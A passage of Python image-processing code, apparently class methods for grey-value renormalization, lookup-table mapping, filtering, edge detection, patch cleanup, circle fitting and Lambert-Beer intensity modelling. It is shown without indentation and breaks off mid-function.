def renormalize(self, newMin=0, newMax=1, currentMin=None, currentMax=None, ROI=None):
"""Renormalization of grey values from (currentMin, Max) to (newMin, Max) """
# Take full image if no ROI is given
if ROI==None:
ROI = ImageROI(0, 0, self.getWidth(), self.getHeight())
slc = self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1]
if currentMin is None:
currentMin = slc.min()
if currentMax is None:
currentMax = slc.max()
if(currentMax != currentMin):
slc = (slc-currentMin)*(newMax-newMin)/(currentMax-currentMin)+newMin
self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1] = slc
else:
slc = slc*0
self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1] = slc
#raise Exception("Division by zero upon renormalization: currentMax=currentMin={}".format(currentMax))
def map_lookup(self, gv, gv_from, gv_to):
""" Return new grey value for given grey value 'gv'. Helper function for self.map()."""
if gv in gv_from:
# Given grey value is defined in 'from' list:
return gv_to[numpy.where(gv_from==gv)]
else:
# Linear interpolation:
a = 0 # left index of interpolation region
if len(gv_from) > 2:
for i in range(len(gv_from)-2):
if gv_from[i+1] > gv:
break
a += 1
b = a + 1 # right index of interpolation region
xa = gv_from[a]
xb = gv_from[b]
ya = gv_to[a]
yb = gv_to[b]
# Slope of linear function:
m = (yb-ya) / (xb-xa)
# y axis intersection point ("offset"):
n = yb - m*xb
# newly assigned grey value:
return (m*gv + n)
def map(self, gv_from, gv_to, bins=1000):
""" Applies a lookup table (LUT map) to convert image grey values
according to given assignment tables (two numpy lists).
gv_from: numpy array of given grey values (in current image)
gv_to: numpy array of assigned grey values (for converted image)
Linear interpolation will take place for gaps in lookup table.
"""
if len(gv_from) == len(gv_to):
if len(gv_from) > 1:
gvMin = self.min()
gvMax = self.max()
# Left position of each bin:
positions, gvStepsize = numpy.linspace(start=gvMin, stop=gvMax, num=bins+1, endpoint=True, dtype=numpy.float64, retstep=True)
# New grey value for each left position:
mappingFunction = numpy.vectorize(pyfunc=self.map_lookup, excluded={1, 2})
newGV = mappingFunction(positions, gv_from, gv_to)
# Differences in newGV:
deltaGV = numpy.diff(newGV, n=1)
# Prepare parameters m (slope) and n (offset) for linear
# interpolation functions of each bin:
slopes = numpy.zeros(bins, dtype=numpy.float64)
offsets = numpy.zeros(bins, dtype=numpy.float64)
slopes = deltaGV / gvStepsize
#print("newGV: {}".format(numpy.shape(newGV)))
#print("slopes: {}".format(numpy.shape(slopes)))
#print("positions: {}".format(numpy.shape(positions)))
offsets = newGV[1:] - slopes*positions[1:]
inverse_stepsize = 1.0 / gvStepsize
maxIndices = numpy.full(shape=numpy.shape(self.px), fill_value=bins-1, dtype=numpy.uint32)
bin_indices = numpy.minimum(maxIndices, numpy.floor((self.px - gvMin) * inverse_stepsize).astype(numpy.uint32))
m_px = slopes[bin_indices]
n_px = offsets[bin_indices]
self.px = m_px*self.px + n_px
else:
raise Exception("image.map(): At least two mappings are required in the grey value assignment lists.")
else:
raise Exception("image.map(): gv_from must have same length as gv_to.")
def stats(self, ROI=None):
""" Image or ROI statistics. Mean, Standard Deviation """
# Take full image if no ROI is given
if ROI==None:
ROI = ImageROI(0, 0, self.getWidth(), self.getHeight())
slc = self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1]
mean = numpy.mean(slc)
sigma = numpy.std(slc)
snr = 0
if sigma > 0:
snr = mean / sigma
return {"mean": mean, "stddev": sigma, "snr": snr, "width": ROI.width(), "height": ROI.height(), "area": ROI.area()}
def noise(self, sigma):
""" Add noise to image.
Gaussian noise:
sigma: standard deviation (scalar or array that matches image size)
"""
rng = default_rng()
self.px += rng.normal(loc=0, scale=sigma, size=numpy.shape(self.px))
def smooth_gaussian(self, sigma):
self.px = ndimage.gaussian_filter(input=self.px, sigma=sigma, order=0, )
def applyMedian(self, kernelSize=1):
if kernelSize > 1:
self.px = ndimage.median_filter(self.px, int(kernelSize))
def applyThreshold(self, threshold, lower=0, upper=65535):
self.px = numpy.where(self.px > threshold, upper, lower).astype(self.getInternalDataType())
def renormalizeToMeanAndStdDev(self, mean, stdDev, ROI=None):
""" Renormalize grey values such that mean=30000, (mean-stdDev)=0, (mean+stdDev)=60000 """
# Take full image if no ROI is given
if ROI==None:
ROI = ImageROI(0, 0, self.getWidth(), self.getHeight())
self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1] = ((self.px[ROI.y0:ROI.y1, ROI.x0:ROI.x1] - mean)/stdDev)*30000 + 30000
def edges_sobel(self):
# Sobel edge detection:
edgesX = ndimage.sobel(self.px, axis=0, mode='nearest')
edgesY = ndimage.sobel(self.px, axis=1, mode='nearest')
return numpy.sqrt(edgesX**2 + edgesY**2)
def edges_canny(self):
# The 'feature' package from scikit-image,
# only needed for Canny edge detection, when used instead of Sobel.
from skimage.feature import canny # Canny edge detection
# Canny edge detection. Needs 'scikit-image' package. from skimage import feature
return canny(self.px)
def filter_edges(self, mode='sobel'):
if(mode == 'sobel'):
self.px = self.edges_sobel()
elif(mode == 'canny'):
self.px = self.edges_canny()
else:
raise Exception("Valid edge detection modes: 'sobel'")
# Rescale:
self.px = self.px.astype(self.getInternalDataType())
#self.thresholding(0) # black=0, white=65535
def cleanPatches(self, min_patch_area=None, max_patch_area=None, remove_border_patches=False, aspect_ratio_tolerance=None):
iterationStructure = ndimage.generate_binary_structure(rank=2, connectivity=2) # apply to rank=2D array, only nearest neihbours (connectivity=1) or next nearest neighbours as well (connectivity=2)
labelField, nPatches = ndimage.label(self.px, iterationStructure)
nCleaned = 0
nRemaining = 0
patchGeometry = []
if nPatches == 0:
log("Found no structures")
else:
self.erase()
areaMin = 0
if(min_patch_area != None):
areaMin = min_patch_area
areaMax = self.getWidth() * self.getHeight()
if(max_patch_area != None):
areaMax = max_patch_area
areaMin = areaMin / (self.getResolution()**2)
areaMax = areaMax / (self.getResolution()**2)
for i in range(1, nPatches+1):
patchCoordinates = numpy.nonzero(labelField==i)
# Check patch size:
nPatchPixels = len(patchCoordinates[0])
if nPatchPixels < areaMin or nPatchPixels > areaMax: # Black out areas that are too small or too big for a circle
nCleaned += 1
continue
coordinatesX = patchCoordinates[1]
coordinatesY = patchCoordinates[0]
left = numpy.amin(coordinatesX)
right = numpy.amax(coordinatesX)
top = numpy.amin(coordinatesY)
bottom= numpy.amax(coordinatesY)
if remove_border_patches:
if((left==0) or (top==0) or (right==self.getWidth()-1) or (bottom==self.getHeight()-1)):
nCleaned += 1
continue
# An ideal circle should have an aspect ratio of 1:
if aspect_ratio_tolerance != None:
aspectRatio = 0
if(top != bottom):
aspectRatio = abs(right-left) / abs(bottom-top)
if abs(1-aspectRatio) > aspect_ratio_tolerance: # This is not a circle
nCleaned += 1
log("Aspect ratio {ar:.3f} doesn't meet aspect ratio tolerance |1-AR|={tolerance:.3f}".format(ar=aspectRatio, tolerance=aspect_ratio_tolerance))
continue
# Add patch center as its coordinate:
patchGeometry.append(((right+left)/2.0, (bottom+top)/2.0, right-left, bottom-top))
self.px[patchCoordinates] = 1
nRemaining += 1
return nPatches, nCleaned, nRemaining, patchGeometry
def fitCircle(self):
# Linear least squares method by:
# <NAME>,
# Circle Fitting by Linear and Nonlinear Least Squares,
# Journal of Optimization Theory and Applications, 1993, Volume 76, Issue 2, pp 381-388
# https://doi.org/10.1007/BF00939613
coordinates = numpy.nonzero(self.px)
circlePixelsX = coordinates[1]
circlePixelsY = coordinates[0]
nPoints = len(circlePixelsX)
circlePixels1 = numpy.ones(nPoints)
# Create the matrix B for the system of linear equations:
matrixB = numpy.array((circlePixelsX, circlePixelsY, circlePixels1))
matrixB = matrixB.transpose()
# linear equation to optimize:
# matrix B * result = vector d
d = []
for i in range(nPoints):
d.append(circlePixelsX[i]**2 + circlePixelsY[i]**2)
vectorD = numpy.array(d)
results, residuals, rank, s = numpy.linalg.lstsq(matrixB, vectorD, rcond=None)
centerX = (results[0] / 2.0)
centerY = (results[1] / 2.0)
radius = math.sqrt(results[2] + centerX**2 + centerY**2)
# Calculate deviation statistics:
differenceSum = 0
minDifference = 99999
maxDifference = 0
for i in range(nPoints):
diff = abs(radius - math.sqrt((centerX - circlePixelsX[i])**2 + (centerY - circlePixelsY[i])**2))
differenceSum += diff
if minDifference > diff:
minDifference = diff
if maxDifference < diff:
maxDifference = diff
meanDifference = differenceSum / nPoints
return centerX, centerY, radius, meanDifference, minDifference, maxDifference
def intensityFunction2D(self, x, I0, mu, R, x0): # Lambert-Beer-Law for ball intensity, to fit.
radicand = numpy.power(R,2) - numpy.power((x-x0),2)
# Avoid root of negative numbers
radicand[radicand < 0] = 0
# Huge radicands lead to exp()->0, therefore avoid huge exponentiation:
radicand[radicand > (1400*1400)] = (1400*1400)
result = I0*numpy.exp(-2.0*mu*numpy.sqrt(radicand))
return result
def intensityFunction3D(self, coord, I0, mu, R, x0, y0): # Lambert-Beer-Law for ball intensity, to fit.
if len(coord) == 2:
(x, y) = coord
radicand = numpy.power(R,2) - numpy.power((x-x0),2) - numpy.power((y-y0),2)
# Avoid root of negative numbers
radicand[radicand < 0] = 0
# Huge radicands lead to exp()->0, therefore avoid huge exponentiation:
radicand[radicand > (1400*1400)] = (1400*1400)
result = I0 * numpy.exp(-2.0*mu*numpy.sqrt(radicand))
return result
else:
raise Exception("3D Intensity fit function expects a tuple (x,y) for coordinates.")
def fitIntensityProfile(self, axis="x", initI0=None, initMu=0.003, initR=250, initX0=None, avgLines=5):
yData |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.